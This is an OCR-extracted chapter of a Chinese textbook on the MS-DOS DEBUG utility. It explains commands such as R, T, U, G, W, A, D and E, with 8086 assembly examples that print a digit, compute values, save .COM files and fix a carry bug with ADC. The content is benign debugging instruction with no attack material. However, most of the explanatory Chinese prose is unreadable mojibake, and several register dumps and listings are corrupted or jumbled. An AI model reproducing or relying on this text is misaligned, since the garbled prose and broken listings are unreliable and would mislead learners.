Horp <IN AR R LLE S0 RN gk fil g, s 807 FERR A7, Bl 2
ZHEMAE.

Difg: (1) AWriiss bk, "HESLEANE AL, B 2Hthk HIUE % A% Enter
Hik. @) BTN ERIZE BN H<HHD> A — 8.

5. HANAFmAF

A F <GulD> CATAER>

Dige: BT ARRTREEMNMENEEEHE, SN ERPNEHZEEEMNH.

ltn: -F 5BC:200 L 10 B2, ‘XYZ’ , 3C <Enter>

* 6. PATAL G

e G =GB [, < E>]]

EAREN T
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(1) G

(2) G=<Hiuhk>

(3) G=CHbhk>, s>

Dheg: $ATHAEF IR 2 751

(1) M CS:IP Frigab T ahth AT

(2) IFg e b TR UR 04T

(3) TR E B TR AR AT, BT s EH B k.

7. N ERIZEIES H

B H 1> <l 2>

Dhee: KA/SHERIEAE DFIUE 2>1FE 23 BoRgs R .

8. i AT 4 I

R T < k>

hee: M e HH0UE BRI RN B B s H K

* 9. ZfEmA L

el L Gk <BREhds 5> GEGEHFEX> <Fristm X A% n>
P <HLBE> B (E N CS:100. 125 55 X AT FHAEEFs X S 4 A5 21, DS WU

B R X 2 4% O TR 038 1 [X, O TH O 18 2 [X, ++e++- ,OM OB 9X,0 i 178 1 [X, ceeeee ,
OTH 3978 9X, 1 OJE 1 [X, - , 17 39 8 9 XHEA . 2% X 5903 b X 5 16

PERFZNYIERFHIX O T 038 1 X ZE 9 BIX, @HEXS5HN 0—8; MHHIX 110 iHE 1
XZ 9 mX, FHEXSN9—11H; YEHX M 18 1 FHXE 9 BX, BHEHEXSH
12—1AH; ---eeeo XFEREIESG O IS L I—HEHET 2.
Hrp<ORsh#85>8 0. 1802, 0 R ALK, 1 FRxBIK, 2 R,
Difie: B<BRzh g 5o e A b, MNGEIBZH X, 3t n MZHEF X _ER A 750
BTG WAFHBIE TR A6 1 — SR 3T. 4 LGS EvE R, BAE L ZaiH N fr 48 &
(B3 N\ DEBUG B — 48 ) Pz Iksh#s U4 o el L 34T 58 SRR AN T2
4. -N EXAMPLE <Enter>
-L <Enter>
¥ AT IK BN A% B EXAMPLE ST CS: 100 A2 48H)— Fr NAFH G
10. WA 4 M
R M EHBEEYE D < H ARG >
HorbR J H BRI U AN &, U BE S AR DS
Dhfe: FECE R D> A P2 4% 25 < E AR R G k> RS Y — AR LG .
4. -M CS:100 110 600
fEA CS:100 #2 2 CS:110 1E 17 154 % DS:600 % DS:610 f— F H T,
* 11, AfFsE / 534 N
e N U
Diee: AL/ WA faErrRN / S8
e HeRAXZ% Dos Fit
12. ¥ Higith a4 0
R 0 G > <D
Difg: Rz <75 AR E i H k> 4 H
#ildn: -0 2F 4F <Enter>
¥ AFH M3 1 2FH %
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% 13. 457 DEBUG i&[7] DOS x4 Q

e Q

IhfE: IR [H DOS $ERFF R

* 14, BRBRE AR TL R

B R [KHFEBRL]

AN T

(1) R

(2) R <FFAEERAD

Dige: (D) BnHiirA T ASAE, REWRELEEPITH T — a2 ik, (65
Kol gmiE At HahabRA k& FLAG LA IR EoR, ERL R &

RERERREAREE

by &A1 i OF J7 ] DF T
IF 55 SF % IF HiBh AF aF
& PF HEQAL CF

R = H /K& I/ 1 It/
K it/ 1E %/ 9k /L (i
/ #F H/xk

7 7N ov / NV DN / UP EI /
DI NG / PL IR / NZ AC / NA PE
/ PO CY / NC

(2) WoRTaE FA RN
#4n: —R AX <Enter>
-R F <Enter>
15. WRIBENFML S
A S HHETERED <>
Difg: fEfRECHEEREPTNE, KIEERET TR TEIE
#Hln: -S €S:100 110 41 <Enter>
oR: 04BA:0104
04BA:010D
FORAEALR 100H 22 110H [A] 1) iR b 41H. X -
-S €3:100 L 11 41 “AB” E <Enter>
FoRE AT BAI # 100H &2 111H 4b FHRIEL: 4 NFATNA A 411, 41H, 42H, OEH
Sy STvb: ]S
* 16, PUTIFRRRAAE ML T
e T (=G>T [<REO]
Dheg: PATHTE LRGN HGREORE AT % m 4. > M E 2
MET TP, <KEOMSEELE—%.

fpitn: -T <Enter> PUT 2 RTHE4 I Bk A
~T 10 <Enter> MEETFE 2 45 4AT 100 25454

* 17, RIL4im4 U

el U [Cihb>/ShhbERED ]
RN T

(U <Hbdb>
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(2 U <SbhEVEED

3) U

ifig: H485E Y A RS DL g AT R as, [FIIT otk RARHS o 3,
Pt — B BINTE A R R HE 5 FEAE, NP B RS 5 . bk &% 3 Bl ) s (i 2 Bk
U445 F—HubE(E . IXFE AT DUOE SR I 4 .

* 18, HRmAW

e W K> <G5> GRIBEHEX> <PE & X n>

heg: 5 L AN E R T 2k N EN GBI IR — A Bt N BB NIRER X . R
B WEAESHE, 5Na0A SIS,

e BURORFAH AT+ ¥) DEBUG iy & Db 2 e AR AE T

/9. #n{A7E DEBUG ¥ & T HATICHIES

AT BB 7 i e, 8 EALSES, 51 S8 A28 F DEBUG TATE P 1T
EERT, DMESEELVS 5 I PR — D RAniSAsT F .

FE#EN DEBUG HIF&/RAF ‘=" ZJa, HI I LLidsd DEBUG Har M NILgmIERER?, JF
PR R i R FIC S L83 18 5 A7 s AR BT 127 .

i 1 {E DEBUG NigA7 U1 FREFF

MOV DL, 33H . FF 3 [ ASCIT fiBi% DL

MOV AH, 2 ; fF DOS 1 2 5 ThRE I A
INT 21H s BEANThEEIRA, fd ‘3
INT 20H ; BIOS Wi 7, IEH 45

T AR R TR Pt — A 37 o R ERE I E TR, iHSORE
JeH 3307 NAHRL AT ASCIT A4

AT IR

(1) #E N DEBUG

¥ DEBUG. EXE fiz 1 C #% DOS ¥ H3x, #EA DOS J5# A DEBUG <Enter>, RJI

C:\DOS>DEBUG <Enter>

FHEEEIN: -

‘=7 5k N\ DEBUG 47T, TEZIERTT N Al N AT & DEBUG %o IUER A 4>
KW

(2) IR P IFI 2w

—-A 100 <Enter>

169C:0100 MOV DL, 33 <Enter>

169C:0102 MOV AH, 2 <Enter>

169C:0104 INT 21 <Enter>

169C:0106 INT 20 <Enter>

169C:0108 <Enter>

- <Enter>

BT CIATE, ILHMBALEES, FPAEECT CS Bt 100H #2451 8 MEfif HiT.

INRAEI G 5 8 E — T AL a2 R AR TR, J7ike—=w] IH I Hidn % U
PRI 14k

ZeaxHE 2010 FFI-WIN FhExBA © ZEEH RNFE

29



(3) & i

I
-U 100 108 <Enter>
169C:0100 B233 MOV DL, 33
169C: 0102 B402 MOV AH, 02
169C:0104 Cb21 INT 21
169C:0106 Cb20 INT 20
169C: 0108

HIARICYIR 2, IR AL 48 2 BINLERRY, /o2 A7 TB0Z 56 16 2 W N AE B s L
4) BT

-G <Enter>

3

Program terminated normally

(5) 5 COM

-R BX <Enter>

BX 0000

: <Enter>

-R CX <Enter>

CX 0000

:A <Enter>

-N EXCOM. COM <Enter>

-W <Enter>

Horbr (BX) #10000H+ (CX) FH T48 € Fr 5 077194, (BX) izEnm 16 Air, (CX) iz
K 16 fiz. BRI, Bt AR SEbr B 20K A S5 5 NS0 EXCOM. COM

(6) IEHL AR 2127

-E 200 B2 33 B4 02 CD 21 CD 20 <Enter>

(1) BoRAF

-D 200 208 <Enter>
169C:0200 B2 33 B4 02 CD 21 CD 20-61 3. ..o a

@) PATHLE TR L FET
—-G=200 <Enter>
3

Program terminated normally

(9) iB H DEBUG 3% [A] DOS, #4T EXCOM. COM {4

-Q
C:\DOS>EXCOM <Enter>
3
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C:\DOS>

il 2 £ DEBUG, H A fir 216 T AR AR, H R frd BREs, JEH T d i
FIAT
(D FEATFEHT A dr 4 B NILImIEIEF
C:\DOS>DEBUG <Enter>
-A <Enter>
1392:0100 MOV AH, 3 <Enter>
1392:0102 MOV AL, 2 <Enter>
1392:0104 ADD AL, AH <Enter>
1392:0106 INT 20 <Enter>
1392:0108 <Enter>
(2) I R A& BoR W A7 4 IR A
-R <Enter>
AX=0000 BX=0000 CX=0000 DX=0000 SP=0000 BP=0000 S1=0000
DI=0000
DS=1392 ES=1392 SS=1392 CS=1392 1P=0100 NV UP EI PL
NZ NA PO NC
1392:0100 B403 MOV AH, 03
(3 H G A&7, HEARELER,
-G <Enter>
Program terminated normally
(4 M T fir & 8267, FTEAE R PR,
-T
AX=0300 BX=0000 CX=0000 DX=0000 SP=0000 BP=0000 S1=0000
DI=0000
DS=1392 ES=1392 SS=1392 CS=1392 1P=0102 NV UP EI PL
NZ NA PO NC
1392:0102 B002 MOV AL, 02
-T
AX=0302 BX=0000 CX=0000 DX=0000 SP=0000 BP=0000 S1=0000
DI=0000
DS=1392 ES=1392 SS=1392 CS=1392 1P=0104 NV Uup EI PL
NZ NA PO NC 1392:0104 00EO ADD AL,
AH
B) AT T dr %, ATLLEBRALSR, (AL)=5
=T
AX=0305 BX=0000 CX=0000 DX=0000 SP=0000 BP=0000 S1=0000
DI=0000
DS=1392 ES=1392 SS=1392 CS=1392 I1P=0106 NV UP EI PL
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NZ NA PO NC
1392:0106 CD02
-T
AX=0305
DI=0000
DS=1392 ES=1392
NZ NA PO NC
011C:1094 90 NOP

INT 20
BX=0000 CX=0000

S5S5=1392

(6)IBH
—Q <Enter>
C:\DOS>

DX=0000

CS=011C

BP=0000 SI=0000

NV UP DI PL

9 3 7€ DEBUG NigiT FidREfy, EAEPATER, IR HAENATHAT TN A £

MOV AX, OFEH
MOV CL, 2
SHL AX, CL
MOV BX, AX
MOV CL, 2
SHL AX, CL
ADD AX, BX ;
MOV [300H], AX ;B
MOV AH, 4CH
INT 21H

(1) #E X\ DEBUG, &7r 300H & 301H 5 PN 4750 N 4%

C:\DOS>DEBUG <Enter>
-D 300 301 <Enter>
1392:0300 00 00

: MR %L OFEH % AX

s WEIREDL 4, 45 5% AX
s WIRHBERLL 4 14 Rk BX R

s WEIRHBOGRLL 16, 45 % AX
BrRE IR LL 20, 45 5AE AX

FRAEN DS B &S 300H—301H 5 N f7 22 7T

: K IhRES 4CH 1% AH

: AT DOS 1) 4CH S IhREEAT, &5 R A2 [E] DOS.
ZFE BT 45 B2 %% OFEH 3 LA 14H, 45 HAE DS B3 300H—301H 5 WAE . IGH .

(2) A A RN BOFIL g

—A <Enter>

1392:0100 MOV AX, OFE <Enter>
1392:0102 MOV CL, 2 <Enter>
1392:0104 SHL AX, CL <Enter>
1392:0106 MOV BX, AX <Enter>
1392:0108 MOV CL, 2 <Enter>
1392:010A SHL AX, CL <Enter>
1392:010C ADD AX, BX <Enter>
1392:010F MOV [300], AX <Enter>
1392:0111 MOV AH, 4C <Enter>
1392:0113 INT 21 <Enter>

1392:0116 <Enter>
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(3) FH G i 2 HAT R W7 pi kb (FEFF I8 S5 AT 47 18
-T=100, 8 <Enter>
AX=13D8 BX=3F80 CX=0000 DX=0000 SP=0000
1=0000
DS=1392 ES=1392 SS=1392 CS=1392 IP=0111
NC
1392:0111 B44C MOV AH, 4C
(4) F D 54 7 3000 & 301H (N7 (& 45 58)
-D 300 301 <Enter>
1392:0300 D8 13
(5) FH R i 245 € SR UKL
-R BX <Enter>
BX 3F80
:0 <Enter>
-R CX <Enter>
CX 0000
:16 <Enter>
(6) F N fin 2w 44 S8
-N A:YWZCHF. COM <Enter>
(MH W45
-W <Enter>
(8) Fil Q fin4-3E ! DEBUG ¥£%5%, %[a] DOS
-Q <Enter>
C:\D0OS>
(9) #£ DOS ¥FEEiz4T YWZCHF. COM
C:\DOS>A:YWZCHF <Enter>
C:\D0S>
(10) ¥ YWZCHF. COM % N\ N 173847
C:\DOS>DEBUG <Enter>
-N A:YWZCHF. COM <Enter>
-L <Enter>
-T=100, 8 <Enter>
AX=13D8 BX=3F80 CX=0000 DX=0000 SP=0000
1=0000
DS=1392 ES=1392 S5S=1392 CS=1392 IP=0111
NC
1392:0111 B44C MOV AH, 4C
-D 300 301 <Enter>
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1392:0300 D8 13
(11) A Q #4314 DEBUG ¥4%, 3% [\ DOS

—Q <Enter>

C:\D0S>

% 4 7€ DEBUG P8R, &N —ANINEUERE A ISR T AT AR s 4 AR T 4T
LA JIAFA. COM A#Ai# %) A #if; £ DOS iy AT AT AT AT SO JTAFA. COM; 3£ DEBUG, 5 7]
AT S JTAFA. COM 26 N P47 CS: 100H &bz fT, JHH T M EFIEBHL R,
C:\DOS>debug <Enter>
—-A <Enter>
169C:0100 MOV AX, 8A6D <Enter>
169C:0103 ADD AX, 0382 <Enter>
169C:0106 MOV [0200], AX <Enter>
169C:0109 MOV AH, 4C <Enter>
169C:010B INT 21 <Enter>
169C:010D <Enter>
-R BX <Enter>
BX 0000
: <Enter>
-R CX <Enter>
CX 0000
:D <Enter>
-N A:JIAFA. COM <Enter>
-W <Enter>
-Q <Enter>
C:\DOS>
C:\DOS>DEBUG <Enter>
—-N A:JIAFA. COM <Enter>
-L <Enter>
-G <Enter>
Program terminated normally
-T=100, 3 <Enter>
AX=8DEF BX=0000 CX=0000 DX=0000 SP=0000 BP=0000 S1=0000
DI=0000
DS=1392 ES=1392 SS=1392 CS=1392 1P=0109 NV UP DI PL
NZ NA PO NC
1392:0111 B4 4C MOV AH, 4C
-D 200 201 <Enter>
169C:0200 EF 8D

—-Q <Enter>
C:\D0S>
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Fi. wnfTfEH DEBUG PRKAZAT A $AT ST

#Hep b, fE B R Ed ©4 53 B DEBUG i 2 IR RS AT vl 04T S0 BT ifih . A
W FXHEH DEBUG AR FZAT AT AT ST — BB B — A48, FEiE I — A S A AR R T
Skt FE AR A T S R

PR iR 1T &GS 3 — AT HAT S CEXE) |, XEHER T
J¥ DEBUG i F R /7 HEAT TR, A5 P27 2 15 Re 58 OIS Th Rk X T W22, 4i{rT & FH DEBUG
HEmA, ARSI, RE—A SR EYIXAEF DEBUG B, AT T3
HIRIAT .
1. A F DEBUG, 2 NH R

A LAFE A DEBUG A& B 4% N FH PRy vl 047 A, 4 mT LLZEE N DEBUG #4855 Ji5 15
N &AL ar &2 N PR AT AT SO TR R 7%, 2 N P FR 7 rT AT SO,
—EEfREXHES (RIXXGLT EBE) .
2. WETFAFIAIGERAS

FEFEANNGE, HRGLSERFAHRNE. NEBFAEIEMNE, E6e T iEH
FREF S BB (RIS R, MEARBSE) TENAFM A LB E . R A 78RR T # H 2F
(LR FIbR ST AR IVIGEE, B =478 RS HAT I — %184
3. DA TR R IT IR 7

HEH T a2 FHAT - P R IR L84, BRIB %174 DS #1 / B ES T E N
AP HEIEE . £/ T e PATIEFE, BT %184, BRBAHUTE 8 AR g
W, UMER P EERSHITER.
4. WS PR B B IR N

TESS 3 AT 5 DS A/ BLES 48 ) 7 F2 7 A5 BRI BRI B, SX B D i & AT £
A F PR R s 5 -
5. @kl b TR RisiT T

ST, — WS R LR, 1T 2B E&HUTIe4, WG 1 AL
PATIERE: BUIEEPATIRA 2164, PATIENSE REME (78, /R 2 s
SR IEM? - TEIRKAEH T an&hy, #A TR, fTEH D a4 7ML A7 e AR
AH DL o

H T &A@ &PATIPE, s EH P RP R SR WidE 4 INT (41 INT 21H) , X
i, EE A E R D TAE T AT INT 84 BN RGHR AL R BT84 INT 2 L rp 7 b 2
TP AL IR, HXF b 787 5 W 2R KR . & T a4 E53UT INT $54,
A2 0K B 2 A R ShRE R TR 7 o, BLR 7T T B SR 2 I TR o W SR BE B PAT
INT 84, NEPOS X B IR A TR, WNAAHES: T/ERR G dd) , BB,
FWr s R INT F5 2T — 26484« 1 nEE L8 TAR J7 AT T — BAZ 7

10B0: 0022 MOV DX, 0010
10BO: 0026 MOV A, 09
10B0: 0028 INT 21
10B0: 002A MOV CX, 00

M T AR MOV AH, 097 $84 )5, M G My

-G 002A <Enter>

KR, DAsgk TAE 7 XEcal e A G, B 7E Az &8 002A (1) “MOV CX, 00”
/A CRBAT) R TAE T e INT F5 2 MIBAT —FE.
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6. LTI By

ML TR ISR e, PR MIES: T AN IR 1T, AR ISITS
o M G a0, EEREBTRFIEGAL. 35 G a4 FORIRERaEHIE, BF S,
MEHT CS: TP F5 1A 52T iA
7. BEUERFEE

gt L)L E, BRI, WHZEE LT e, XK, RS
o, TTAE DEBUG RS, M A i o XAMELAIGR IR BN A7 TP AT AT S0, R
LERER . AEINMEUIER )G, NOR P RGEET, BERRER, RIE M. E%.

N TR R E, T R LA R e s K s T iy, BE 2R
REFRAFIEILTIR . X, "I E fin A8 F R P OBl BB I B 2 s b K, AR5 #E
T er 2B G drIsiT Ry, BEHRIBTER, HISHBIEARE RS LA Rk,

8. iz W s R

IR O R IERR, EIESE T AT, Al pdEis T2 MR CHErE
ITHRAIEH, G TRy, @A, REERER. ST md, BRI
FIEREFP AT, (HRIBATEEE, ARSI, PR AR R XER “Wra” 2
FRESEIBAT I ZOREME MR AL E (kb)) , FIZOREFH— %58 2 H 7 b RoR. i
FPESRIEAT B mi ik, FEFP BT, I BoR DL & 2517 45 N A AR TR E AT B4R 4
CBIBrRALTE 2D o 9 TR EW A, W RIC < U BRI . BHW, W
TR AT 3R AR A EAE IR — MR B, i /N AR B R 70 BB SRR AE T HH B RS A
P T Ar AU RE IS AT DL, W AR IR AL B SE RRE

Bl 5 A — AW MEFRF W, HAPFAEE R BV O g LA R 7 AT
f S7JiaFa. EXE, fF#H({E C:\DOS H 3% F. 1 DEBUG Xt H k471K
Code SEGMENT

ASSUME CS:code, DS:code

ORG 100H ; AN 100H ALFFAR A7 R 4145 4
Start:MOV AX, code %5 DS B ¥ code BXHE Hubik
MOV DS, AX
MOV SI, 200H B — N5
MOV AX, [SI] DR — NP 16 ALEE] AX
MOV DI, 204H B N T
ADD AX, [DI] BB — NN AN 16 SRR N
MOV [SI+8], AX I 16 A7 AR 25 L% 2] 208H A1 209H Ht
MOV AX, [SI+2] B — AN 16 s AX
ADD AX, [DI+2] SN 16 ALAE N
MOV [SI+0AH], AX 1 16 ALAR NS5 RIEF] 20AH, 20BH HT
MOV AX, 4COOH A% DOS #) 4CH 5 ThREE
INT 21H s IEANTDIRE A, 3R\ DOS
ORG 200H s N 200H A FF AR AETBCT 51t
DD 12345678h, 654387A9h, Oh ; #in#k. In#%L. Ml Code ENDS
END start
YR R
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(1) ¥\ DEBUG Jf2 NI HAT LA SZJiaFa. EXE
C:\DOS>DEBUG SZJiaFa.EXE<Enter>
(2) METFAF B AIRIRAS
-R <Enter>
AX=0000 BX=0000 CX=020C DX=0000 SP=0000 BP=0000 S1=0000 DI
=0000
DS=1892 ES=1892 SS=18A2 CS=18A2 IP=0100 NV UP EI PL NZ NA PO NC
18A2:0100 B8A218 MOV AX, 18A2
(3) AB 2 TAE T AT aRis AT RE

HAH T ar 2 AT P AP AT 1 %482, BLArA7as DS TE NI B8
B
-T <Enter>
AX=18A2 BX=0000 CX=020C DX=0000 SP=0000 BP=0000 S1=0000 DI
=0000
DS=1892 ES=1892 SS=18A2 CS=18A2 1P=0103 NV UP EI PL NZ NA PO NC
18A2:0103 8EDS8 MOV DS, AX
-T <Enter>
AX=18A2 BX=0000 CX=020C DX=0000 SP=0000 BP=0000 S1=0000 DI
=0000
DS=18A2 ES=1892 SS=18A2 CS=18A2 1P=0105 NV UP EI PL NZ NA PO NC
18A2:0105 BE0002 MOV ST, 0200
(4) W P BAh N A
-D 200 20F <Enter>
18A2:0200 78 56 34 12 A9 87 43 65-00 00 00 00 00 74 13 50 xV4...Ce..... t. P

(6) ESTAE T ABATREF 2R DOS /T (Kl s) , BFRIBITER. Ak, DA U md

B 4 o

-U 100 <Enter>

18A2:0100 B8A218 MOV AX, 18A2
18A2:0103 8EDS8 MOV DS, AX
18A2:0105 BE0002 MOV SI, 0200
18A2:0108 8B04 MOV AX, [ST]
18A2:010A BF0402 MOV DI, 0204
18A2:010D 0305 ADD AX, [DI]
18A2:010F 894408 MOV [ST+08], AX
18A2:0112 8B4402 MOV AX, [S1+02]
18A2:0115 034502 ADD AX, [DT+02]
18A2:0118 89440A MOV [ST+0A], AX
18A2:011B B8004C MOV AX, 4C00
18A2:011E CD21 INT 21

Al EHAT 10 4484, & 011B AbfE ik
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-6=100, 011B <Enter>
AX=7777  BX=0000  CX=020C  DX=0000  SP=0000  BP=0000  SI=0200 DI
=0204

DS=18A2  ES=1892  SS=18A2  (S=18A2  IP=011B NV UP EI PL NZ NA PE NC
18A2:011B B8004C MOV AX, 4C00

-D 200 20F <Enter>

18A2:0200 78 56 34 12 A9 87 43 65-21 DE 77 77 43 43 83 06 xV4. .. Ce!. wwCC. .
AN 7TTTTDE21H, 1EWi.

(6) FHI—HEYE, BEEITER. Nk, B E Bl .

-E 200 CD, AB, 78, 56, 90, EF, 34, 12 <Enter>

-D 200 20F <Enter>

18A2:0200  CD AB 78 56 90 EF 34 12-21 DE 77 77 43 43 83 06 S xVo. 40! wwCC. .
-G=100, 11B <Enter>

AX=68AC  BX=0000  CX=020C  DX=0000  SP=0000  BP=0000  SI=0200 DI

=0204

DS=18A2 ES=1892 SS=18A2 CS=18A2 IP=011B NV UP EI PL NZ NA PE NC
18A2:011B B8004C MOV AX, 4C00

-D 200 20F <Enter>

18A2:0200 CD AB 78 56 90 EF 34 12-5D 9B AC 68 43 43 83 06 ..xV..4.]. . hCC.

FA 68ACIBSDH, 4i%. UERAFER A ] R,
(7) PRl SR AE e BURAL EIiE G, BEIBITER.
-6=100, 112 <Enter>
AX=9B5D  BX=0000  CX=020C  DX=0000  SP=0000  BP=0000  SI=0200 DI
=0204
DS=18A2  ES=1892  SS=18A2  (S=18A2  IP=0112 NV UP EI NG NZ NA PO CY
18A2:0112
8B4402 MOV AX, [SI+02]
DS:0202=5678
-D 200 20F <Enter>
18A2:0200  CD AB 78 56 90 EF 34 12-5D 9B AC 68 43 43 83 06 ..xV..4.]..hCC.

A2 AN 9BED, TERf. 1 B A T RE H AR S [T

(8) M T v MWIA HIlbr ridb 1 Ja B, EFIBITER.

-T=112 <Enter>

AX=5678 BX=0000 CX=020C DX=0000 SP=0000 BP=0000 S1=0200 DI
=0204

DS=18A2 ES=1892 SS=18A2 CS=18A2 1P=0115 NV UP EI NG NZ NA PO CY
18A2:0115

034502 ADD AX, [DI+02]
DS:0206=1234
-T <Enter>
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AX=68AC BX=0000 CX=020C DX=0000 SP=0000 BP=0000 SI=0200 DI
=0204
DS=18A2 ES=1892 SS=18A2 CS=18A2 IP=0118 NV UP EI PL NZ NA PE NC
18A2:0118
89440A MOV [ST+0A], AX

DS:020A=68AC

AX FFAFAR IS IRy 68AC, TR 68AD. AT W2 A SR IMVEHR A8 A 1k, 1 HL AR FH e Aoz
g4 .

(9) fEH A dr BN IEFITE S5 HElT, a4

—-A 115 <Enter>

18A2:0115 ADC AX, [DI+02] <Enter>

18A2:0118 <Enter>

-G=100, 11B <Enter>

AX=68AD BX=0000 CX=020C DX=0000 SP=0000 BP=0000 S1=0200 DI
=0204

DS=18A2 ES=1892 SS=18A2 CS=18A2 IP=011B NV UP EI PL NZ NA PO NC

18A2:011B B8004C MOV AX, 4C00
-D 200 20F <Enter>
18A2:0200 CD AB 78 56 90 EF 34 12-5D 9B AD 68 43 43 83 06 ..xV..4.]. . hCC.

FA 68ADIBSDH, IEAf . X T-IXFE— AN R 7 — Bk A 2 A . B 5B SRR 7
I

(10) & H

—Q <Enter>

C:\D0S>

UL PR IR PR T, RREH T @k 5D UR B o] o AR H i 7 V2400 7
REFEB, HIXEN T AR R — T, DM IR R AR T A

DEBUG iy & V¥

DEBUG #& DOS H ) —/ Mo a4, M DOS 1. 0 st thdr 4, Hba] Wikar A E T,
BRI AR oA, WM 2 A, AR AR, R Rk,
HAEEA G HEIE . KUk, P DEBUG [y 2 VAN —3, LAk KK EE e .

Debug:A (V4%)

H#K 8086/8087/8088 iciZE & - F N AE .

Zt A WIS IE 518 A B rT AT PSS . BT B AR /Nt mag =, i — 2 P04~
TR LA . 725 F R EARS RIS RTTR € AT 120 .

a [address]

ZH
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address

TREBANILHIE S 1HS AL E . X address -+ /NBEHIE, AN “h” FRFE5RH
BAME. MEATREHIE, a BET U IR .

ARG BT E TP IER, 3 Rd “MRIE” FIRFH) Debug E (BN

ARG T HRE R, Rl “MRER” FIZRPH Debug U (SILSH) -

e
i Hd 1265

BHIBAGICIZIE A es:y ds:y es: Hl ss:o FEIRBIFICIZAEZE retf. FAFH A2
06 2071 B A 75 B 2 45 58 /e B, (i movsw BILAREZEN 16 i, f6H] movsb T LA
#a) 8 AT,

TG Bk 2 A HY

TG AR 7 AR 79 B e B SR RNz R ke A T 9 ) H ARl o Sl near B8
far RIS DLBMRIX R B L B A, 0 F B o -

—a0100:0500

0100:0500 jmp 502 ; a 2-byte short jump
0100:0502 jmp near 505 ; a 3-byte near jump
0100:0505 jmp far 50a ; a 5-byte far jump

ALK near BIZR4S N ne.

DX R WAL L
R AR LLS| RIS 7 WAL B B 71 WA BN, U ATS] word ptr B R
2% byte ptr FREHIERM ., ARG E AR wo M by LLUR GGG 7R MRl

dec wo [si]
neg byte ptr [128]

TRE AR
Debug fEM AR S ([ 1) MR/ EG] At (9> B . X2 o8 5 — 7
Debug ANAEIX 73 37 HIEAE HORI Y A7 M BE (R 2. DU YO R s =
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mov ax, 21 ; load AX with 21h
mov ax, [21] ; load AX with the
: contents of

; memory location 21h

(CERVE S

i a PR AOATES: db BB, KBy EERICHBINAT, dv 3RIEG,

R HEREICMBINAF. LT RMME 2 HI7Es):

db 1,2, 3,4, "THIS IS AN EXAMPLE”
db ’THIS IS A QUOTATION MARK:”’
db “THIS IS A QUOTATION MARK:’”
dw 1000, 2000, 3000, “BACH”

BER ]

a 2 X FTA M REE M a2, WG ETR:
add bx, 34[bp+2]. [si-1]

pop [bp+di]

push [si] )

SRR B [ SGA, a0 R 1R -

loopz 100
loope 100
ja 200

jnbe 200

XIF 8087 FE{ERY, WAZHEE wait BL fwait FIZE, W FHIATR:

fwait fadd st,st(3) : this line assembles
; an fwait prefix

Debug:C CELED)

LB N AF PN EB 20

¢ range address
ZH
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41

© ZEEH RNFE



range

16 58 B LU AR 3 — A DX R AR A 6 SR L, BlEE 4 kil R 2 6 O A0 range fH
M52, 18y “AMSRTE” FIRAHH “Debug WHI” o

address

e BRI S A WA X aa itk . A0 AL address HIMER, WhHRT “MEKE
B BIRHH “Debug UiEH” .

e

I range Ml address WAEXIZAAIE, Debug AN W s L] N & B4R 73] Debug
TfF. WA ZER, Debug W R B m:
addressl bytel byte2 addess2

R(ER]
LA i & HA R R AR -

c100, 10f 300
c100110 300

A2 EXT 100h 2] 10Fh FINAFEERS 300h 2| 30Fh A5 T EL i .
Debug W MBI THI I & FEBn 0 FEE (BGE DS = 197F)

197F:0100 4D E4 197F:0300
197F:0101 67 99 197F:0301
197F:0102 A3 27 197F:0302
197F:0103 35 F3 197F:0303
197F:0104 97 BD 197F:0304
197F:0105 04 35 197F:0305
197F:0107 76 71 197F:0307
197F:0108 E6 11 197F:0308
197F:0109 19 2C 197F:0309
197F:010A 80 OA 197F:030A
197F:010B 36 7F 197F:030B
197F:010C BE 22 197F:030C
197F:010D 83 93 197F:030D
197F:010E 49 77 197F:030E
197F:010F 4F 8A 197F:030F
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VEEGIF P EDHEE 197F:0106 F1 197F:0306. 31X 3 B AR L6 bk A 148 2 AH R

Debug:D (A5fig)

SRR 8 VL A AR AR P

d [range]

B
range

16 5 B B R H N B B A XA R IR AN 5 R bk, BRAR AR M FK BE A S5 R4 range fH
FME R, TE8E “MHIRIE-” FIRPH “Debug WHH” o WRAFEE range, Debug F2/F44
MELET d 4 AT F b YE P R B I 4R B 128 NN 2.

ARERFFHNENEL, HHRd MR FIRPH Debug R (FHFH) o

e

M d @, Debug MIPIANER BoRNAFN A HoNEERIER 2> CREAS 75 AR A+
NS ARRR) MASCIT ASEE7y CREAST T E#H ASCIT #7FAFRoR) o BEAETED
FRAEERE) ASCIT iy hif)s () Fox. BMRRITER 16 FHHNE, 5 8 F7
ME 9 FHLIA - MEFTH . MR 16 7RI EIT.

PR

BEEALL T4

des:100 10f

Debug $% DA A% 2 ik 7 v [ o (1) P 25«

04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM. SAWYER. ... ..
WIRIERH SEMIIE L NN d @4, Debug 4% LARTIE B BT tid 1) N 28k gk o as =X
BORMAERAT AL — 4T il K 16 A7 (SRR B 40 FIRIBEEE, N 8 AN
bl FF Sk o

T RN NS5 d 74, Debug ¥ BHAE &G Rl 2 G Ll BoRsds
E

W N LU R4, Debug KA CS:100 FFEEE7R 20h ANFATHI A 2

des:100 1 20

W N LT 4, Debug K REEIMN CS B 100h F| 115h HHFE 75N 2
des:100 115
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Debug:E (FEN)

R A B A A7 R E B UL .
A LA% N B ASCIT A% AUEEAHE . LARTAF A AE 45 58 O B AR T Bdls 8 25 2K

e address

¥

address

M ANBIR S — NN E
list

578 BN B A AFHIE S 7 B Bl
AREBICIZADHIE R, Tl “MRER” FIRPH) Debug A G4 .
ARERNAAHINFREE, 58D “HXTE” JIRFH) Debug D (Fef#) .

]

i address &%

WMRAERATREATIER) list ZSHWERB THEE address H{E, Debug K & bhib Al
7, £ ATEEMNE, JFEGERRA . R, ERTBIHUT T AR

B . i, VRN S KT E . RSN R R, 5%
AL EHMCT, W Debug A84 [ B A 177

HENTF A4, Jok, 4% SPACEBAR (At . BESHBIZT o ffe, e i {a)e
BENHTE. WS4 SPACEBAR (Z5HH) W, BEh#hd T 8 7R, Debug T4 BoRH# K
AT HAEAT Y R H

REFIHG—AFAT. ik, W% HYPHEN 8 (). WTLURS % HYPHEN 8 () FjE#3)
S Z TS, fEHE HYPHEN B, Debug JFUAHE(T I G 24 niT Mk AT 41 o

BIEHAT o frd. Jott, 154K ENTER #. 7EAT (795G B L% ENTER,

i list 2%

WARARE list ZHIME, BERM e KPR BB S IA 75 H. IR AE
FHR, RS AT

List {HAT LR+ Nl 7 W By AF o M. B 5 BRI R M. DA 777 5
BLAHAE BN 5] 5

SEx 7l
REBALL T4
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ecs:100

Debug 4% FTHIFIAS SRR — AT A 2

04BA:0100 EB.

